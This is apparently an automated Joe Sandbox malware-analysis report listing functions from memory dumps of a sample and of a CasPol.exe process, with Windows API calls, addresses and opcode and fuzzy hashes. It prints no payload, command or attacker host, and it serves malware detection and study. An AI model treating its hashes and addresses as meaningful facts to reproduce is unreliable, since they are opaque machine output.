Source File: 00000000.00000002.2104626947.00007FF7C5BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C5BB0000, based on PE: true

Associated: 00000000.00000002.2104600148.00007FF7C5BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104777484.00007FF7C5CC9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104818065.00007FF7C5D09000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D7F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105455790.00007FF7C5D87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7c5bb0000_4munRyMrBm.jbxd

Similarity

API ID: SwitchThread
String ID:
API String ID: 115865932-0
Opcode ID: d00efbbb26263cc08ad4df3913b4dcfaa6276e0511a9266e1d0ba80b3ed15afd
Instruction ID: 73894840d0fbe148628a6973b61ba3280e88d6c2c4cdd8aec8e8bcb40901a228
Opcode Fuzzy Hash: d00efbbb26263cc08ad4df3913b4dcfaa6276e0511a9266e1d0ba80b3ed15afd
Instruction Fuzzy Hash: 76418036B0964685EF64AE25D040679FB90EB40FF4F988A39DA4F467C9DE3EE4408760

Function 00007FF7C5BBC8E0 Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

WaitForMultipleObjectsEx.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7C5BB3141), ref: 00007FF7C5BBC914
SetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7C5BB3141), ref: 00007FF7C5BBC91E
CoWaitForMultipleHandles.OLE32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7C5BB3141), ref: 00007FF7C5BBC93D
SetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7C5BB3141), ref: 00007FF7C5BBC951

Memory Dump Source

Source File: 00000000.00000002.2104626947.00007FF7C5BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C5BB0000, based on PE: true

Associated: 00000000.00000002.2104600148.00007FF7C5BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104777484.00007FF7C5CC9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104818065.00007FF7C5D09000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D7F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105455790.00007FF7C5D87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7c5bb0000_4munRyMrBm.jbxd

Similarity

API ID: ErrorLastMultipleWait$HandlesObjects
String ID:
API String ID: 2817213684-0
Opcode ID: 3f11a659937ca2a9d2f58ed7fb8769b284d6cf253c5c6821f0f42326241e4d41
Instruction ID: c1157192d114fbc0f7d889afe29eeb0be0bf85d3a8219fa8c09807d708ee5bc4
Opcode Fuzzy Hash: 3f11a659937ca2a9d2f58ed7fb8769b284d6cf253c5c6821f0f42326241e4d41
Instruction Fuzzy Hash: AC115E31B0875682E7249F16B44112AF761FB94FA0F944139EADD43BD9CF7EE8008B94

Function 00007FF7C5C111A0 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF7C5C111CC
GetCurrentThreadId.KERNEL32 ref: 00007FF7C5C111DA
GetCurrentProcessId.KERNEL32 ref: 00007FF7C5C111E6
QueryPerformanceCounter.KERNEL32 ref: 00007FF7C5C111F6

Memory Dump Source

Source File: 00000000.00000002.2104626947.00007FF7C5BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C5BB0000, based on PE: true

Associated: 00000000.00000002.2104600148.00007FF7C5BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104777484.00007FF7C5CC9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104818065.00007FF7C5D09000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D7F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105455790.00007FF7C5D87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7c5bb0000_4munRyMrBm.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: e16cdb098a0731bbeee2597424cfc557f813577fc17a189862b511b9686622a6
Instruction ID: b907b763581fb46f09383a1d4ca60688a6fc9e0bec449d3fc8c2aeff57392b6d
Opcode Fuzzy Hash: e16cdb098a0731bbeee2597424cfc557f813577fc17a189862b511b9686622a6
Instruction Fuzzy Hash: F1111C32B14F068AEB00DF60E8942A873A4FB59B68F840A31DA6D877A4DF7DD1548350

Function 00007FF7C5C126D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF7C5C119E3), ref: 00007FF7C5C12720
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF7C5C119E3), ref: 00007FF7C5C12761

Strings

csm, xrefs: 00007FF7C5C1274E

Memory Dump Source

Source File: 00000000.00000002.2104626947.00007FF7C5BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C5BB0000, based on PE: true

Associated: 00000000.00000002.2104600148.00007FF7C5BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104777484.00007FF7C5CC9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104818065.00007FF7C5D09000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D7F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105455790.00007FF7C5D87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7c5bb0000_4munRyMrBm.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 0ffc842e3cd9d8863173c70d516709e896315b3aa4b438e39af49301c1c78a26
Instruction ID: bb9f5c1b058f265a63ebc4e5d68ee0aaac304d72e2c65e3d5ba392384e686236
Opcode Fuzzy Hash: 0ffc842e3cd9d8863173c70d516709e896315b3aa4b438e39af49301c1c78a26
Instruction Fuzzy Hash: E5111C36618B8182EB219F25E44026AB7F5FB88B94F984234DF8C07758DF3DD551CB40

Function 00007FF7C5BBE0B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37stringCOMMON

Download Yara Rule

APIs

_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,HeapVerify,00007FF7C5BBD913,?,?,?,00007FF7C5BC3CD7,?,?,?,?,00007FF7C5BBCCE5), ref: 00007FF7C5BBE0EB
strtoull.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,HeapVerify,00007FF7C5BBD913,?,?,?,00007FF7C5BC3CD7,?,?,?,?,00007FF7C5BBCCE5), ref: 00007FF7C5BBE128

Strings

HeapVerify, xrefs: 00007FF7C5BBE0BF

Memory Dump Source

Source File: 00000000.00000002.2104626947.00007FF7C5BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C5BB0000, based on PE: true

Associated: 00000000.00000002.2104600148.00007FF7C5BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104777484.00007FF7C5CC9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104818065.00007FF7C5D09000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D7F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105455790.00007FF7C5D87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7c5bb0000_4munRyMrBm.jbxd

Similarity

API ID: _stricmpstrtoull
String ID: HeapVerify
API String ID: 4031153986-2674988305
Opcode ID: 76587d0a3d7f317c46cd9241e9b139c3ad74e0b9b9e742cb6b28ded029d14747
Instruction ID: d3ee0fd753fae1a3052623304f27484b16caab962708c186b5ec9d66698077e1
Opcode Fuzzy Hash: 76587d0a3d7f317c46cd9241e9b139c3ad74e0b9b9e742cb6b28ded029d14747
Instruction Fuzzy Hash: E001B571A09B42CAE720AF12E881079F764FB54FA0FD48131EA4E03B19CF3DE441C654

Function 00007FF7C5BD5640 Relevance: 5.1, APIs: 4, Instructions: 59COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000080,00007FF7C5BD57BF,?,?,?,00007FF7C5BE2F8B), ref: 00007FF7C5BD568D
LeaveCriticalSection.KERNEL32(?,?,00000080,00007FF7C5BD57BF,?,?,?,00007FF7C5BE2F8B), ref: 00007FF7C5BD56E2
EnterCriticalSection.KERNEL32(?,?,00000080,00007FF7C5BD57BF,?,?,?,00007FF7C5BE2F8B), ref: 00007FF7C5BD56FF
LeaveCriticalSection.KERNEL32(?,?,00000080,00007FF7C5BD57BF,?,?,?,00007FF7C5BE2F8B), ref: 00007FF7C5BD571C

Memory Dump Source

Source File: 00000000.00000002.2104626947.00007FF7C5BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C5BB0000, based on PE: true

Associated: 00000000.00000002.2104600148.00007FF7C5BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104777484.00007FF7C5CC9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104818065.00007FF7C5D09000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D7F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105455790.00007FF7C5D87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7c5bb0000_4munRyMrBm.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: ad55377d83b4b74353e94ee15f9b33d570ebc32928df28f8f5bbd4a112773d4f
Instruction ID: 3a1fa926cabb6e86530cb54f7035f30ba9a1f68c05a729166dbf97a2b5d97a2e
Opcode Fuzzy Hash: ad55377d83b4b74353e94ee15f9b33d570ebc32928df28f8f5bbd4a112773d4f
Instruction Fuzzy Hash: D921A361A18F4681FA00AF21AD902B9A794EF05FF4FD51235D96D076DACF2EE149C390

Analysis Process: CasPol.exePID: 5324, Parent PID: 5660COMMON

Execution Graph

Execution Coverage:	12.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	19
Total number of Limit Nodes:	4

Executed Functions

Function 01229C00 Relevance: 2.8, Instructions: 2796COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3327782878.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1220000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: abbdb5a7dfe8f77c6a121a44dfc105d1626fbd91b0563e46701ea117bf4db553
Instruction ID: f08c6c0359876c5b69ef810d264d8ecb77139aa0d7897306a18f1301cb741a1d
Opcode Fuzzy Hash: abbdb5a7dfe8f77c6a121a44dfc105d1626fbd91b0563e46701ea117bf4db553
Instruction Fuzzy Hash: A463D831D10B1A8ADB11EF68C88469DF7B1FF99300F55D69AE44877221EB70AAD4CF81

Function 0122CFE8 Relevance: 2.3, Instructions: 2307COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3327782878.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1220000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 741813ea23d2ef3fb0ac0d6287a34555592cdecc7a777125304ebcb97d4d9925
Instruction ID: 6c9c8685843acff62fc03a4fec8d0eea3f5ba6cb3e0b4d98c8d19a77bed78a4d
Opcode Fuzzy Hash: 741813ea23d2ef3fb0ac0d6287a34555592cdecc7a777125304ebcb97d4d9925
Instruction Fuzzy Hash: FC332E31D1071A9EDB11EF68C8806ADF7B1FF99300F55C79AE458A7211EB70AAC5CB81

Function 01229BF8 Relevance: 2.3, Instructions: 2302COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3327782878.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1220000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b533786396cbff97efa1aefd38c305aae25a4eff010ff3f84293fcbf08effa27
Instruction ID: 8e33089cac179959007d7a233f4fa1752e547168d24a578298ccd38104cede9f
Opcode Fuzzy Hash: b533786396cbff97efa1aefd38c305aae25a4eff010ff3f84293fcbf08effa27
Instruction Fuzzy Hash: 1143D631D10B1A8ADB11EF68C884699F7B1FF99300F55D79AE44877221EB70AAD4CF81

Function 01223E80 Relevance: 1.5, Strings: 1, Instructions: 238
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\V.m, xrefs: 012240CB

Memory Dump Source

Source File: 00000005.00000002.3327782878.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1220000_CasPol.jbxd

Similarity

API ID:
String ID: \V.m
API String ID: 0-4037683661
Opcode ID: 0070ae22efecf0d6051385e3a5c3d222fc6f5f7b99053aef9bda1c44c5688fc6
Instruction ID: 0a71a7cf7842269781761c99cdc809e77daf177cb94d4394dbc0be282de44424
Opcode Fuzzy Hash: 0070ae22efecf0d6051385e3a5c3d222fc6f5f7b99053aef9bda1c44c5688fc6
Instruction Fuzzy Hash: D9918F70E1025AAFDF14DFA9D8817DDBBF2BF88304F248129E505A7254DB789845CB81

Function 01229378 Relevance: .6, Instructions: 616COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3327782878.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1220000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a27d6ae4d2f7fd3924ccd51f4dad19116bf33136461627ca46c58b1721c616ed
Instruction ID: f677259d3925678c214a71aaa728905e4f3017fa89abd13038998e3907d527ba
Opcode Fuzzy Hash: a27d6ae4d2f7fd3924ccd51f4dad19116bf33136461627ca46c58b1721c616ed
Instruction Fuzzy Hash: 3D329E74A102259FDF14CF68D9846AEBBB2EF88314F148529E909EB391DB75DC81CB90

Function 01224A98 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3327782878.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1220000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97c26f82875cef294c956c4f97b5a17279ea4993b0abbc5602673d63ffc03109
Instruction ID: 3fe4e8e9d2dcfc36544c8802e7bf9513f6da8831bac2b016e85cde3725b350b3
Opcode Fuzzy Hash: 97c26f82875cef294c956c4f97b5a17279ea4993b0abbc5602673d63ffc03109
Instruction Fuzzy Hash: C2B17E70E1026A9FDF10DFA9C8917ADBBF2AF88714F148129E915E7394EB749841CB81

Function 01224810 Relevance: 2.7, Strings: 2, Instructions: 180
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\V.m, xrefs: 0122487F
\V.m, xrefs: 012249D2

Memory Dump Source

Source File: 00000005.00000002.3327782878.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1220000_CasPol.jbxd

Similarity

API ID:
String ID: \V.m$\V.m
API String ID: 0-794918365
Opcode ID: a44f678de095477ca6cad5b47b84aa4e710ad038331f884f2907bc4f6107a983
Instruction ID: 57ca379327cf62f477141b6da1e2907c1f28feee29421508400d07bf3d46e4be
Opcode Fuzzy Hash: a44f678de095477ca6cad5b47b84aa4e710ad038331f884f2907bc4f6107a983
Instruction Fuzzy Hash: D271AF70E1029ADFDF10DFA9C89079EBBF2BF88714F148129E515A7254EB749841CF85

Function 01224807 Relevance: 2.7, Strings: 2, Instructions: 177
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\V.m, xrefs: 0122487F
\V.m, xrefs: 012249D2

Memory Dump Source

Source File: 00000005.00000002.3327782878.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1220000_CasPol.jbxd

Similarity

API ID:
String ID: \V.m$\V.m
API String ID: 0-794918365
Opcode ID: 94d30bbddd288b223ef927bacbf01c49f9d3f62ddb84a0acbd4c31068e0904e8
Instruction ID: 91da37bba9e24fb2a1f887530031df8cc50f4bb83b865ebd233e37a784317c4d
Opcode Fuzzy Hash: 94d30bbddd288b223ef927bacbf01c49f9d3f62ddb84a0acbd4c31068e0904e8
Instruction Fuzzy Hash: 0E718B70E2029ADFDF10DFA9C88079EBBF1BF88714F148129E515A7254EB749841CF95

Function 061FE188 Relevance: 1.6, APIs: 1, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000005.00000002.3330599163.00000000061F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_61f0000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba71c91b23f4d77647e49cc178dda552e141c763f664e8aeb9d4fb7d56dd9f87
Instruction ID: 7b86b670a7b2f5e730e5ea68c2cbf2fcc5d1ad18ddef62f6c8d9d77512fbce55
Opcode Fuzzy Hash: ba71c91b23f4d77647e49cc178dda552e141c763f664e8aeb9d4fb7d56dd9f87
Instruction Fuzzy Hash: 79412272D183969FCB04CFB9D8403AEBBF1EF89210F14866AD508E7251EB789845CBD1

Function 061FE258 Relevance: 1.6, APIs: 1, Instructions: 56
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNELBASE(?,?,?,?,?,?,?,?,?,061FE1DA), ref: 061FE2C7

Memory Dump Source

Source File: 00000005.00000002.3330599163.00000000061F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_61f0000_CasPol.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: 691b14fb6bf45380f40ceadf259bb9867c91664ef050dcb004c775fd3da587d7
Instruction ID: 7a8215b4d4ac094aac52ab222545917825243f4e6f1ba2daa763dfbc7c73b89d
Opcode Fuzzy Hash: 691b14fb6bf45380f40ceadf259bb9867c91664ef050dcb004c775fd3da587d7
Instruction Fuzzy Hash: 861144B1C0065A9FCB10CFAAD444BDEFBF4AF48320F10812AE518B3250D779A950CFA1

Function 061FD55C Relevance: 1.6, APIs: 1, Instructions: 55
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNELBASE(?,?,?,?,?,?,?,?,?,061FE1DA), ref: 061FE2C7

Memory Dump Source

Source File: 00000005.00000002.3330599163.00000000061F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_61f0000_CasPol.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: b4674f6a778241ffa82f63df9de3275fc0dec5659099549c1423bb1b880fda38
Instruction ID: 0237d7c2a24b49c5595c7ae3b886ba63cc5d821959caa5300f71aa998b4ea544
Opcode Fuzzy Hash: b4674f6a778241ffa82f63df9de3275fc0dec5659099549c1423bb1b880fda38
Instruction Fuzzy Hash: 5C1136B1C0065A9BCB10CF9AC444B9EFBF4AF48220F10816AE518A7240D379A910CFA1

Function 01223E74 Relevance: 1.5, Strings: 1, Instructions: 246
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\V.m, xrefs: 012240CB

Memory Dump Source

Source File: 00000005.00000002.3327782878.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1220000_CasPol.jbxd

Similarity

API ID:
String ID: \V.m
API String ID: 0-4037683661
Opcode ID: 03df2d797d700494b359b40ccd35be968fe92f98a054e60a322c17dcd965e511
Instruction ID: 697bc8976f1eb19519150edc2db8328461acba6752e42c230489cbe57eec979b
Opcode Fuzzy Hash: 03df2d797d700494b359b40ccd35be968fe92f98a054e60a322c17dcd965e511
Instruction Fuzzy Hash: E1A18C70E2026AEFDF10DFA8D881BDDBBF1BF58314F248129E905A7254DB789945CB81

Function 0122924F Relevance: 1.3, Strings: 1, Instructions: 80
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

9, xrefs: 01229258

Memory Dump Source

Source File: 00000005.00000002.3327782878.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1220000_CasPol.jbxd

Similarity

API ID:
String ID: 9
API String ID: 0-2366072709
Opcode ID: c5cac129a0dadb9573d51a0a7d2d4a81430f91f9b8f269cb4142d5a754108d5b
Instruction ID: c4691e6891a3ddc855fdd3cb421eba093312a736576eda06625415912ce7803e
Opcode Fuzzy Hash: c5cac129a0dadb9573d51a0a7d2d4a81430f91f9b8f269cb4142d5a754108d5b
Instruction Fuzzy Hash: E7317171E1022A9BDF05CFA8C49069EB7B2EF89304F50C619E905EB341DB709886CB50

Function 01227908 Relevance: .6, Instructions: 555COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3327782878.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1220000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 470c8678a7e1f303e94e28b7ebe25fd014854f7307a5a97b71b8778b8255f131
Instruction ID: 9909e6ea24b2492ed370a1de22d1021cb1b6069be15c866ced2f395bd6cc4929
Opcode Fuzzy Hash: 470c8678a7e1f303e94e28b7ebe25fd014854f7307a5a97b71b8778b8255f131
Instruction Fuzzy Hash: 82126E30764212EBDB29AF38E98526C36A2FFC5344B50593CE105DB392CF79EC469B91

Function 01227918 Relevance: .6, Instructions: 550COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3327782878.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1220000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36b9ef235cdc248e8823bcbcb6bafbedf1205ef61503823d31bebb6b36b56476
Instruction ID: 653aa9baf834154443c0309671035fe712c0c3bec917c9797bbd72aa5456608d
Opcode Fuzzy Hash: 36b9ef235cdc248e8823bcbcb6bafbedf1205ef61503823d31bebb6b36b56476
Instruction Fuzzy Hash: 24126E30764212EBDB29AF38E58526C36A2FFC5344B50593CE105DB392CFB9EC468B91

Function 01224A8C Relevance: .3, Instructions: 261COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3327782878.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1220000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2326f0356eede670802d84ec313bdbdacdcf2486cd7378badeb7f6a3e3d3cba
Instruction ID: 77f57d10a548cd63ba257e72016061c9840461f7f736f77163c0ab82a69fe535
Opcode Fuzzy Hash: a2326f0356eede670802d84ec313bdbdacdcf2486cd7378badeb7f6a3e3d3cba
Instruction Fuzzy Hash: 7DA17D70E202AADFDF11DFA9D8817DDBBF1AF48714F148129E914EB294EB749841CB81

Function 01229364 Relevance: .2, Instructions: 239COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3327782878.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1220000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e13adf0a6f94d5b6102c9d383c84e7017520d87c3b4c55c9dbe9e3bbfa50e38
Instruction ID: 8450e776d4eab876d078e909224676dc56103f3d5aec6113bddcbd44f3ea447c
Opcode Fuzzy Hash: 1e13adf0a6f94d5b6102c9d383c84e7017520d87c3b4c55c9dbe9e3bbfa50e38
Instruction Fuzzy Hash: C2917D34A10225EFDF15CB68D984AADBBF2EF88314F148429E906EB355DB75DC82CB50

Function 01226EE8 Relevance: .1, Instructions: 142COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3327782878.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1220000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e17c9834818133eb9266c5b7a40d6fba43499260cfbfd014fa18b091755fca9
Instruction ID: 5e3eb136ff2c93d19618f6e5699e1ed3722149459aa0c1fcbb7b4caf08c97ba8
Opcode Fuzzy Hash: 5e17c9834818133eb9266c5b7a40d6fba43499260cfbfd014fa18b091755fca9
Instruction Fuzzy Hash: 5C410331E20229AFDB15DF78D4547AEB7B2FF85300F10852AE906EB281EB759D45CB80

Function 01226754 Relevance: .1, Instructions: 135COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3327782878.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1220000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: feb1593abae62e397db585c8897f1588d2247a6cd4ad0c8148490a1b24941e62
Instruction ID: ba1423f3d9497d55c84bb9ff19fe2a31a16cf9f3289e11291a21cba347214940
Opcode Fuzzy Hash: feb1593abae62e397db585c8897f1588d2247a6cd4ad0c8148490a1b24941e62
Instruction Fuzzy Hash: 7D512672D202299FDB18CFA9C884B9DBBB1FF48310F54811AE915BB351DBB4A844CF95

Function 0122676C Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3327782878.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1220000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: adc2009914e4ba4dd81c475566c72dd9c1ed6393d3fd8ac1be3b36e77dd01666
Instruction ID: bf317f7b2599c202757703fa478a9e7de1663d60d48c44c965c8adf787bc75b4
Opcode Fuzzy Hash: adc2009914e4ba4dd81c475566c72dd9c1ed6393d3fd8ac1be3b36e77dd01666
Instruction Fuzzy Hash: FC512672D202299FDB18CFA9C884B9DBBB1FF48310F54811AE915BB351DBB4A844CF95

Function 01226CDD Relevance: .1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3327782878.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1220000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
